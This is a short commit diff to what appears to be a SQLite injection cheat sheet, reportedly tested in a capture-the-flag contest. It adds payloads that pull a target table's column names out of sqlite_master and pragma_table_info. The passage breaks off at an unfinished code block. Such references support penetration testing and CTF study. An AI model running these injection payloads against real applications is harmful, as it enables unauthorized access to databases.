Update SQLite Injection.md

Column names of the specified table can be more easily extracted in a better output.
Tested during the CTF
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Pak Cyberbot 2023-08-25 15:24:52 +05:00 committed by GitHub
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@ -52,6 +52,12 @@ For a clean output
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
Cleaner output
```sql
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
```
## Boolean - Count number of tables
```sql